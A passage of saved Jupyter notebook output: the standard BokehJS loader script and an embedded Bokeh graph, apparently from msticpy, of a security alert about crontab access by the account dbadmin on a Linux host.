      "application/javascript": "\n(function(root) {\n  function now() {\n    return new Date();\n  }\n\n  var force = true;\n\n  if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n    root._bokeh_onload_callbacks = [];\n    root._bokeh_is_loading = undefined;\n  }\n\n  var JS_MIME_TYPE = 'application/javascript';\n  var HTML_MIME_TYPE = 'text/html';\n  var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n  var CLASS_NAME = 'output_bokeh rendered_html';\n\n  /**\n   * Render data to the DOM node\n   */\n  function render(props, node) {\n    var script = document.createElement(\"script\");\n    node.appendChild(script);\n  }\n\n  /**\n   * Handle when an output is cleared or removed\n   */\n  function handleClearOutput(event, handle) {\n    var cell = handle.cell;\n\n    var id = cell.output_area._bokeh_element_id;\n    var server_id = cell.output_area._bokeh_server_id;\n    // Clean up Bokeh references\n    if (id != null && id in Bokeh.index) {\n      Bokeh.index[id].model.document.clear();\n      delete Bokeh.index[id];\n    }\n\n    if (server_id !== undefined) {\n      // Clean up Bokeh references\n      var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n      cell.notebook.kernel.execute(cmd, {\n        iopub: {\n          output: function(msg) {\n            var id = msg.content.text.trim();\n            if (id in Bokeh.index) {\n              Bokeh.index[id].model.document.clear();\n              delete Bokeh.index[id];\n            }\n          }\n        }\n      });\n      // Destroy server and session\n      var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n      cell.notebook.kernel.execute(cmd);\n    }\n  }\n\n  /**\n   * Handle when a new output is added\n   */\n  function handleAddOutput(event, handle) {\n    var output_area = handle.output_area;\n    var output = handle.output;\n\n    // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n    if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n      return\n    }\n\n    var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n\n    if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n      toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n      // store reference to embed id on output_area\n      output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n    }\n    if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n      var bk_div = document.createElement(\"div\");\n      bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n      var script_attrs = bk_div.children[0].attributes;\n      for (var i = 0; i < script_attrs.length; i++) {\n        toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n        toinsert[toinsert.length - 1].firstChild.textContent = bk_div.children[0].textContent\n      }\n      // store reference to server id on output_area\n      output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n    }\n  }\n\n  function register_renderer(events, OutputArea) {\n\n    function append_mime(data, metadata, element) {\n      // create a DOM node to render to\n      var toinsert = this.create_output_subarea(\n        metadata,\n        CLASS_NAME,\n        EXEC_MIME_TYPE\n      );\n      this.keyboard_manager.register_events(toinsert);\n      // Render to node\n      var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n      render(props, toinsert[toinsert.length - 1]);\n      element.append(toinsert);\n      return toinsert\n    }\n\n    /* Handle when an output is cleared or removed */\n    events.on('clear_output.CodeCell', handleClearOutput);\n    events.on('delete.Cell', handleClearOutput);\n\n    /* Handle when a new output is added */\n    events.on('output_added.OutputArea', handleAddOutput);\n\n    /**\n     * Register the mime type and append_mime function with output_area\n     */\n    OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n      /* Is output safe? */\n      safe: true,\n      /* Index of renderer in `output_area.display_order` */\n      index: 0\n    });\n  }\n\n  // register the mime type if in Jupyter Notebook environment and previously unregistered\n  if (root.Jupyter !== undefined) {\n    var events = require('base/js/events');\n    var OutputArea = require('notebook/js/outputarea').OutputArea;\n\n    if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n      register_renderer(events, OutputArea);\n    }\n  }\n\n  \n  if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n    root._bokeh_timeout = Date.now() + 5000;\n    root._bokeh_failed_load = false;\n  }\n\n  var NB_LOAD_WARNING = {'data': {'text/html':\n     \"<div style='background-color: #fdd'>\\n\"+\n     \"<p>\\n\"+\n     \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n     \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n     \"</p>\\n\"+\n     \"<ul>\\n\"+\n     \"<li>re-rerun `output_notebook()` to attempt to load from CDN again, or</li>\\n\"+\n     \"<li>use INLINE resources instead, as so:</li>\\n\"+\n     \"</ul>\\n\"+\n     \"<code>\\n\"+\n     \"from bokeh.resources import INLINE\\n\"+\n     \"output_notebook(resources=INLINE)\\n\"+\n     \"</code>\\n\"+\n     \"</div>\"}};\n\n  function display_loaded() {\n    var el = document.getElementById(\"2181\");\n    if (el != null) {\n      el.textContent = \"BokehJS is loading...\";\n    }\n    if (root.Bokeh !== undefined) {\n      if (el != null) {\n        el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n      }\n    } else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(display_loaded, 100)\n    }\n  }\n\n\n  function run_callbacks() {\n    try {\n      root._bokeh_onload_callbacks.forEach(function(callback) {\n        if (callback != null)\n          callback();\n      });\n    } finally {\n      delete root._bokeh_onload_callbacks\n    }\n    console.debug(\"Bokeh: all callbacks have finished\");\n  }\n\n  function load_libs(css_urls, js_urls, callback) {\n    if (css_urls == null) css_urls = [];\n    if (js_urls == null) js_urls = [];\n\n    root._bokeh_onload_callbacks.push(callback);\n    if (root._bokeh_is_loading > 0) {\n      console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n      return null;\n    }\n    if (js_urls == null || js_urls.length === 0) {\n      run_callbacks();\n      return null;\n    }\n    console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n    root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n    function on_load() {\n      root._bokeh_is_loading--;\n      if (root._bokeh_is_loading === 0) {\n        console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n        run_callbacks()\n      }\n    }\n\n    function on_error() {\n      console.error(\"failed to load \" + url);\n    }\n\n    for (var i = 0; i < css_urls.length; i++) {\n      var url = css_urls[i];\n      const element = document.createElement(\"link\");\n      element.onload = on_load;\n      element.onerror = on_error;\n      element.rel = \"stylesheet\";\n      element.type = \"text/css\";\n      element.href = url;\n      console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n      document.body.appendChild(element);\n    }\n\n    const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\": \"JayppSWSRBsibIZqI8S4vAb1oFgLL0uhNvSn8cmArlOvYOwfFjYeyY5UWwJ+K0SU\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\": \"G0/Tv/Yy/zEPNsnW0Qif/FOsGesd+KIrKg/QLmvQmReuUW9qmSP7mAmr0VpiUNr3\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\": \"VLYHEbLQDk5G1+/4ALU0myoJPMEUsngWry2fzYorFOUmarjGRPLLURaeK/on6JqX\"};\n\n    for (var i = 0; i < js_urls.length; i++) {\n      var url = js_urls[i];\n      var element = document.createElement('script');\n      element.onload = on_load;\n      element.onerror = on_error;\n      element.async = false;\n      element.src = url;\n      if (url in hashes) {\n        element.crossOrigin = \"anonymous\";\n        element.integrity = \"sha384-\" + hashes[url];\n      }\n      console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n      document.head.appendChild(element);\n    }\n  };\n\n  function inject_raw_css(css) {\n    const element = document.createElement(\"style\");\n    element.appendChild(document.createTextNode(css));\n    document.body.appendChild(element);\n  }\n\n  \n  var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\"];\n  var css_urls = [];\n  \n\n  var inline_js = [\n    function(Bokeh) {\n      Bokeh.set_log_level(\"info\");\n    },\n    function(Bokeh) {\n    \n    \n    }\n  ];\n\n  function run_inline_js() {\n    \n    if (root.Bokeh !== undefined || force === true) {\n      \n    for (var i = 0; i < inline_js.length; i++) {\n      inline_js[i].call(root, root.Bokeh);\n    }\n    if (force === true) {\n        display_loaded();\n      }} else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(run_inline_js, 100);\n    } else if (!root._bokeh_failed_load) {\n      console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n      root._bokeh_failed_load = true;\n    } else if (force !== true) {\n      var cell = $(document.getElementById(\"2181\")).parents('.cell').data().cell;\n      cell.output_area.append_execute_result(NB_LOAD_WARNING)\n    }\n\n  }\n\n  if (root._bokeh_is_loading === 0) {\n    console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n    run_inline_js();\n  } else {\n    load_libs(css_urls, js_urls, function() {\n      console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n      run_inline_js();\n    });\n  }\n}(window));",
      "application/vnd.bokehjs_load.v0+json": ""
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "  <div class=\"bk-root\" id=\"774f6f54-6218-4d2d-a4a1-6048605733d5\" data-root-id=\"2182\"></div>\n"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": "(function(root) {\n  function embed_document(root) {\n    \n  var docs_json = {\"7b9eb957-d827-4d1c-b8b9-10682310f305\":{\"roots\":{\"references\":[{\"attributes\":{\"below\":[{\"id\":\"2193\"}],\"center\":[{\"id\":\"2196\"},{\"id\":\"2200\"},{\"id\":\"2232\"},{\"id\":\"2233\"},{\"id\":\"2234\"},{\"id\":\"2235\"},{\"id\":\"2236\"},{\"id\":\"2237\"},{\"id\":\"2238\"}],\"left\":[{\"id\":\"2197\"}],\"plot_width\":800,\"renderers\":[{\"id\":\"2217\"}],\"title\":{\"id\":\"2183\"},\"toolbar\":{\"id\":\"2208\"},\"x_range\":{\"id\":\"2185\"},\"x_scale\":{\"id\":\"2189\"},\"y_range\":{\"id\":\"2187\"},\"y_scale\":{\"id\":\"2191\"}},\"id\":\"2182\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"text\":\"host: MSTICALERTSLXVM2\",\"text_font_size\":\"10pt\",\"x\":1.5618696384927213,\"x_offset\":5,\"y\":1.9458964758920576,\"y_offset\":5},\"id\":\"2233\",\"type\":\"Label\"},{\"attributes\":{},\"id\":\"2206\",\"type\":\"HelpTool\"},{\"attributes\":{},\"id\":\"2222\",\"type\":\"MultiLine\"},{\"attributes\":{},\"id\":\"2205\",\"type\":\"ResetTool\"},{\"attributes\":{},\"id\":\"2204\",\"type\":\"SaveTool\"},{\"attributes\":{\"data\":{\"color\":[\"red\",\"green\",\"green\",\"green\",\"green\",\"green\",\"green\"],\"description\":[\"Alert: Possible suspicious scheduling tasks access detected\",\"host: MSTICALERTSLXVM2\\n(OSFamily.Linux, Domain-joined: False)\",\"process: unknown [0x518a]\\n(cmdline: '')\",\"account: dbadmin\\n(LogonId: 0x2e093, Domain-joined: False)\",\"file: /usr/bin/vim.basic\",\"process: /usr/bin/vim.basic [0x51b3]\\n(cmdline: '/usr/bin/vim.basic /tmp/crontab.UQ6iiQ/crontab')\",\"Logon session 0x2e093\\n(Start time: 2019-02-15T04:03:22.173Z\"],\"entitytype\":[null,\"host\",\"process\",\"account\",\"file\",\"process\",\"host-logon-session\"],\"index\":[\"SCUBA_RULE_AccessCronJob\",\"host: MSTICALERTSLXVM2\",\"process: unknown [0x518a]\",\"account: dbadmin\",\"file: /usr/bin/vim.basic\",\"process: /usr/bin/vim.basic [0x51b3]\",\"host-logon-session\"],\"name\":[\"SCUBA_RULE_AccessCronJob\",\"host: MSTICALERTSLXVM2\",\"process: unknown [0x518a]\",\"account: dbadmin\",\"file: /usr/bin/vim.basic\",\"process: /usr/bin/vim.basic [0x51b3]\",\"host-logon-session\"],\"node_color\":[\"red\",\"green\",\"green\",\"green\",\"green\",\"green\",\"green\"],\"node_type\":[\"alert\",\"entity\",\"entity\",\"entity\",\"entity\",\"entity\",\"entity\"],\"source\":[null,\"{ 'AdditionalData': {},\\n  'DnsDomain': '',\\n  'HostName': 'MSTICALERTSLXVM2',\\n  'IsDomainJoined': False,\\n  'NTDomain': '',\\n  'NetBiosName': 'MSTICALERTSLXVM2',\\n  'OSFamily': <OSFamily.Linux: 0>,\\n  'Type': 'host',\\n  'edges': { <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F12E41A08>,\\n             <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F130A2248>,\\n             <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F130A2308>,\\n             <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F130A2588>}}\",\"{ 'AdditionalData': {},\\n  'CommandLine': '',\\n  'CreationTimeUtc': datetime.datetime(1, 1, 1, 0, 0),\\n  'Host': { 'AdditionalData': {},\\n            'DnsDomain': '',\\n            'HostName': 'MSTICALERTSLXVM2',\\n            'IsDomainJoined': False,\\n            'NTDomain': '',\\n            'NetBiosName': 'MSTICALERTSLXVM2',\\n            'OSFamily': <OSFamily.Linux: 0>,\\n            'Type': 'host',\\n            'edges': { <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F12E41A08>,\\n                       <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F130A2248>,\\n                       <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F130A2308>,\\n                       <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F130A2588>}},\\n  'ProcessId': '0x518a',\\n  'Type': 'process',\\n  'edges': { <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F12E41A08>,\\n             <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F130A2508>}}\",\"{ 'AdditionalData': {},\\n  'Host': { 'AdditionalData': {},\\n            'DnsDomain': '',\\n            'HostName': 'MSTICALERTSLXVM2',\\n            'IsDomainJoined': False,\\n            'NTDomain': '',\\n            'NetBiosName': 'MSTICALERTSLXVM2',\\n            'OSFamily': <OSFamily.Linux: 0>,\\n            'Type': 'host',\\n            'edges': { <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F12E41A08>,\\n                       <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F130A2248>,\\n                       <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F130A2308>,\\n                       <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F130A2588>}},\\n  'IsDomainJoined': False,\\n  'LogonId': '0x2e093',\\n  'Name': 'dbadmin',\\n  'Sid': '1001:1001',\\n  'Type': 'account',\\n  'edges': { <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F130A2188>,\\n             <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F130A2208>,\\n             <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F130A2588>}}\",\"{ 'AdditionalData': {},\\n  'Directory': '/usr/bin',\\n  'FileHashes': [],\\n  'FullPath': '/usr/bin/vim.basic',\\n  'Name': 'vim.basic',\\n  'OSFamily': <OSFamily.Windows: 1>,\\n  'PathSeparator': '\\\\\\\\',\\n  'Type': 'file',\\n  'edges': {<msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F130A2448>}}\",\"{ 'Account': { 'AdditionalData': {},\\n               'Host': { 'AdditionalData': {},\\n                         'DnsDomain': '',\\n                         'HostName': 'MSTICALERTSLXVM2',\\n                         'IsDomainJoined': False,\\n                         'NTDomain': '',\\n                         'NetBiosName': 'MSTICALERTSLXVM2',\\n                         'OSFamily': <OSFamily.Linux: 0>,\\n                         'Type': 'host',\\n                         'edges': { <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F12E41A08>,\\n                                    <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F130A2248>,\\n                                    <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F130A2308>,\\n                                    <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F130A2588>}},\\n               'IsDomainJoined': False,\\n               'LogonId': '0x2e093',\\n               'Name': 'dbadmin',\\n               'Sid': '1001:1001',\\n               'Type': 'account',\\n               'edges': { <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F130A2188>,\\n                          <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F130A2208>,\\n                          <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F130A2588>}},\\n  'AdditionalData': {},\\n  'CommandLine': '/usr/bin/vim.basic /tmp/crontab.UQ6iiQ/crontab',\\n  'CreationTimeUtc': '2019-02-15T04:03:22.173Z',\\n  'Host': { 'AdditionalData': {},\\n            'DnsDomain': '',\\n            'HostName': 'MSTICALERTSLXVM2',\\n            'IsDomainJoined': False,\\n            'NTDomain': '',\\n            'NetBiosName': 'MSTICALERTSLXVM2',\\n            'OSFamily': <OSFamily.Linux: 0>,\\n            'Type': 'host',\\n            'edges': { <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F12E41A08>,\\n                       <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F130A2248>,\\n                       <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F130A2308>,\\n                       <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F130A2588>}},\\n  'ImageFile': { 'AdditionalData': {},\\n                 'Directory': '/usr/bin',\\n                 'FileHashes': [],\\n                 'FullPath': '/usr/bin/vim.basic',\\n                 'Name': 'vim.basic',\\n                 'OSFamily': <OSFamily.Windows: 1>,\\n                 'PathSeparator': '\\\\\\\\',\\n                 'Type': 'file',\\n                 'edges': { <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F130A2448>}},\\n  'ParentProcess': { 'AdditionalData': {},\\n                     'CommandLine': '',\\n                     'CreationTimeUtc': datetime.datetime(1, 1, 1, 0, 0),\\n                     'Host': { 'AdditionalData': {},\\n                               'DnsDomain': '',\\n                               'HostName': 'MSTICALERTSLXVM2',\\n                               'IsDomainJoined': False,\\n                               'NTDomain': '',\\n                               'NetBiosName': 'MSTICALERTSLXVM2',\\n                               'OSFamily': <OSFamily.Linux: 0>,\\n                               'Type': 'host',\\n                               'edges': { <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F12E41A08>,\\n                                          <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F130A2248>,\\n                                          <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F130A2308>,\\n                                          <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F130A2588>}},\\n                     'ProcessId': '0x518a',\\n                     'Type': 'process',\\n                     'edges': { <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F12E41A08>,\\n                                <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F130A2508>}},\\n  'ProcessId': '0x51b3',\\n  'Type': 'process',\\n  'edges': { <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F130A2188>,\\n             <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F130A2308>,\\n             <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F130A2448>,\\n             <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F130A2508>}}\",\"{ 'Account': { 'AdditionalData': {},\\n               'Host': { 'AdditionalData': {},\\n                         'DnsDomain': '',\\n                         'HostName': 'MSTICALERTSLXVM2',\\n                         'IsDomainJoined': False,\\n                         'NTDomain': '',\\n                         'NetBiosName': 'MSTICALERTSLXVM2',\\n                         'OSFamily': <OSFamily.Linux: 0>,\\n                         'Type': 'host',\\n                         'edges': { <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F12E41A08>,\\n                                    <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F130A2248>,\\n                                    <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F130A2308>,\\n                                    <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F130A2588>}},\\n               'IsDomainJoined': False,\\n               'LogonId': '0x2e093',\\n               'Name': 'dbadmin',\\n               'Sid': '1001:1001',\\n               'Type': 'account',\\n               'edges': { <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F130A2188>,\\n                          <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F130A2208>,\\n                          <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F130A2588>}},\\n  'AdditionalData': {},\\n  'EndTimeUtc': '2019-02-15T04:03:22.173Z',\\n  'Host': { 'AdditionalData': {},\\n            'DnsDomain': '',\\n            'HostName': 'MSTICALERTSLXVM2',\\n            'IsDomainJoined': False,\\n            'NTDomain': '',\\n            'NetBiosName': 'MSTICALERTSLXVM2',\\n            'OSFamily': <OSFamily.Linux: 0>,\\n            'Type': 'host',\\n            'edges': { <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F12E41A08>,\\n                       <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F130A2248>,\\n                       <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F130A2308>,\\n                       <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F130A2588>}},\\n  'SessionId': '0x2e093',\\n  'StartTimeUtc': '2019-02-15T04:03:22.173Z',\\n  'Type': 'host-logon-session',\\n  'edges': { <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F130A2208>,\\n             <msticpy.datamodel.entities.entity_graph.Edge object at 0x0000023F130A2248>}}\"],\"time\":[\"2019-02-15 04:03:22\",null,null,null,null,null,null]},\"selected\":{\"id\":\"2295\"},\"selection_policy\":{\"id\":\"2296\"}},\"id\":\"2219\",\"type\":\"ColumnDataSource\"},{\"attributes\":{},\"id\":\"2198\",\"type\":\"BasicTicker\"},{\"attributes\":{\"edge_renderer\":{\"id\":\"2224\"},\"inspection_policy\":{\"id\":\"2286\"},\"layout_provider\":{\"id\":\"2226\"},\"node_renderer\":{\"id\":\"2220\"},\"selection_policy\":{\"id\":\"2291\"}},\"id\":\"2217\",\"type\":\"GraphRenderer\"},{\"attributes\":{\"text\":\"file: /usr/bin/vim.basic\",\"text_font_size\":\"10pt\",\"x\":0.8694001556613657,\"x_offset\":5,\"y\":-1.8565469854586654,\"y_offset\":5},\"id\":\"2236\",\"type\":\"Label\"},{\"attributes\":{\"data\":{\"color\":[null,null,null,\"green\",\"green\",\"green\",\"green\"],\"description\":[null,null,null,\"ParentProcess\",\"Account\",\"Account\",\"ImageFile\"],\"end\":[\"host: MSTICALERTSLXVM2\",\"process: /usr/bin/vim.basic [0x51b3]\",\"host-logon-session\",\"process: /usr/bin/vim.basic [0x51b3]\",\"process: /usr/bin/vim.basic [0x51b3]\",\"host-logon-session\",\"process: /usr/bin/vim.basic [0x51b3]\"],\"line_type\":[null,null,null,\"SHORT_DASH\",\"SHORT_DASH\",\"SHORT_DASH\",\"SHORT_DASH\"],\"start\":[\"SCUBA_RULE_AccessCronJob\",\"SCUBA_RULE_AccessCronJob\",\"SCUBA_RULE_AccessCronJob\",\"process: unknown [0x518a]\",\"account: dbadmin\",\"account: dbadmin\",\"file: /usr/bin/vim.basic\"],\"weight\":[null,null,null,1,1,1,1]},\"selected\":{\"id\":\"2297\"},\"selection_policy\":{\"id\":\"2298\"}},\"id\":\"2223\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"end\":3,\"start\":-3},\"id\":\"2187\",\"type\":\"Range1d\"},{\"attributes\":{},\"id\":\"2202\",\"type\":\"WheelZoomTool\"},{\"attributes\":{\"data_source\":{\"id\":\"2223\"},\"glyph\":{\"id\":\"2222\"},\"hover_glyph\":null,\"muted_glyph\":null,\"view\":{\"id\":\"2225\"}},\"id\":\"2224\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"field\":\"node_color\"},\"size\":{\"units\":\"screen\",\"value\":15}},\"id\":\"2227\",\"type\":\"Circle\"},{\"attributes\":{\"source\":{\"id\":\"2223\"}},\"id\":\"2225\",\"type\":\"CDSView\"},{\"attributes\":{\"text\":\"host-logon-session\",\"text_font_size\":\"10pt\",\"x\":-0.744795975242901,\"x_offset\":5,\"y\":1.4358770218722405,\"y_offset\":5},\"id\":\"2238\",\"type\":\"Label\"},{\"attributes\":{\"source\":{\"id\":\"2219\"}},\"id\":\"2221\",\"type\":\"CDSView\"},{\"attributes\":{\"formatter\":{\"id\":\"2292\"},\"ticker\":{\"id\":\"2198\"}},\"id\":\"2197\",\"type\":\"LinearAxis\"},{\"attributes\":{\"active_drag\":\"auto\",\"active_inspect\":\"auto\",\"active_multi\":null,\"active_scroll\":\"auto\",\"active_tap\":\"auto\",\"tools\":[{\"id\":\"2201\"},{\"id\":\"2202\"},{\"id\":\"2203\"},{\"id\":\"2204\"},{\"id\":\"2205\"},{\"id\":\"2206\"},{\"id\":\"2215\"}]},\"id\":\"2208\",\"type\":\"Toolbar\"},{\"attributes\":{\"formatter\":{\"id\":\"2280\"},\"ticker\":{\"id\":\"2194\"}},\"id\":\"2193\",\"type\":\"LinearAxis\"},{\"attributes\":{},\"id\":\"2295\",\"type\":\"Selection\"},{\"attributes\":{\"overlay\":{\"id\":\"2207\"}},\"id\":\"2203\",\"type\":\"BoxZoomTool\"},{\"attributes\":{\"axis\":{\"id\":\"2197\"},\"dimension\":1,\"ticker\":null},\"id\":\"2200\",\"type\":\"Grid\"},{\"attributes\":{\"text\":\"account: dbadmin\",\"text_font_size\":\"10pt\",\"x\":-1.144103185660663,\"x_offset\":5,\"y\":0.2843460947144634,\"y_offset\":5},\"id\":\"2235\",\"type\":\"Label\"},{\"attributes\":{},\"id\":\"2292\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"bottom_units\":\"screen\",\"fill_alpha\":0.5,\"fill_color\":\"lightgrey\",\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[4,4],\"line_width\":2,\"right_units\":\"screen\",\"top_units\":\"screen\"},\"id\":\"2207\",\"type\":\"BoxAnnotation\"},{\"attributes\":{},\"id\":\"2194\",\"type\":\"BasicTicker\"},{\"attributes\":{\"graph_layout\":{\"SCUBA_RULE_AccessCronJob\":[0.48658350501115627,0.92187450605479],\"account: dbadmin\":[-1.144103185660663,0.2843460947144634],\"file: /usr/bin/vim.basic\":[0.8694001556613657,-1.8565469854586654],\"host-logon-session\":[-0.744795975242901,1.4358770218722405],\"host: MSTICALERTSLXVM2\":[1.5618696384927213,1.9458964758920576],\"process: /usr/bin/vim.basic [0x51b3]\":[-0.11251387027264878,-0.7314471130748864],\"process: unknown [0x518a]\":[-0.9164402679890301,-1.9999999999999998]}},\"id\":\"2226\",\"type\":\"StaticLayoutProvider\"},{\"attributes\":{\"text\":\"process: unknown [0x518a]\",\"text_font_size\":\"10pt\",\"x\":-0.9164402679890301,\"x_offset\":5,\"y\":-1.9999999999999998,\"y_offset\":5},\"id\":\"2234\",\"type\":\"Label\"},{\"attributes\":{\"text\":\"Alert Entity graph\"},\"id\":\"2183\",\"type\":\"Title\"},{\"attributes\":{},\"id\":\"2189\",\"type\":\"LinearScale\"},{\"attributes\":{},\"id\":\"2286\",\"type\":\"NodesOnly\"},{\"attributes\":{},\"id\":\"2291\",\"type\":\"NodesOnly\"},{\"attributes\":{\"data_source\":{\"id\":\"2219\"},\"glyph\":{\"id\":\"2227\"},\"hover_glyph\":null,\"muted_glyph\":null,\"view\":{\"id\":\"2221\"}},\"id\":\"2220\",\"type\":\"GlyphRenderer\"},{\"attributes\":{},\"id\":\"2297\",\"type\":\"Selection\"},{\"attributes\":{\"end\":3,\"start\":-3},\"id\":\"2185\",\"type\":\"Range1d\"},{\"attributes\":{},\"id\":\"2201\",\"type\":\"PanTool\"},{\"attributes\":{\"callback\":null,\"tooltips\":[[\"node_type\",\"@node_type\"],[\"name\",\"@name\"],[\"description\",\"@description\"]]},\"id\":\"2215\",\"type\":\"HoverTool\"},{\"attributes\":{},\"id\":\"2296\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"text\":\"SCUBA_RULE_AccessCronJob\",\"text_font_size\":\"10pt\",\"x\":0.48658350501115627,\"x_offset\":5,\"y\":0.92187450605479,\"y_offset\":5},\"id\":\"2232\",\"type\":\"Label\"},{\"attributes\":{},\"id\":\"2298\",\"type\":\"UnionRenderers\"},{\"attributes\":{},\"id\":\"2191\",\"type\":\"LinearScale\"},{\"attributes\":{\"text\":\"process: /usr/bin/vim.basic [0x51b3]\",\"text_font_size\":\"10pt\",\"x\":-0.11251387027264878,\"x_offset\":5,\"y\":-0.7314471130748864,\"y_offset\":5},\"id\":\"2237\",\"type\":\"Label\"},{\"attributes\":{\"axis\":{\"id\":\"2193\"},\"ticker\":null},\"id\":\"2196\",\"type\":\"Grid\"},{\"attributes\":{},\"id\":\"2280\",\"type\":\"BasicTickFormatter\"}],\"root_ids\":[\"2182\"]},\"title\":\"Bokeh Application\",\"version\":\"2.2.2\"}};\n  var render_items = [{\"docid\":\"7b9eb957-d827-4d1c-b8b9-10682310f305\",\"root_ids\":[\"2182\"],\"roots\":{\"2182\":\"774f6f54-6218-4d2d-a4a1-6048605733d5\"}}];\n  root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n\n  }\n  if (root.Bokeh !== undefined) {\n    embed_document(root);\n  } else {\n    var attempts = 0;\n    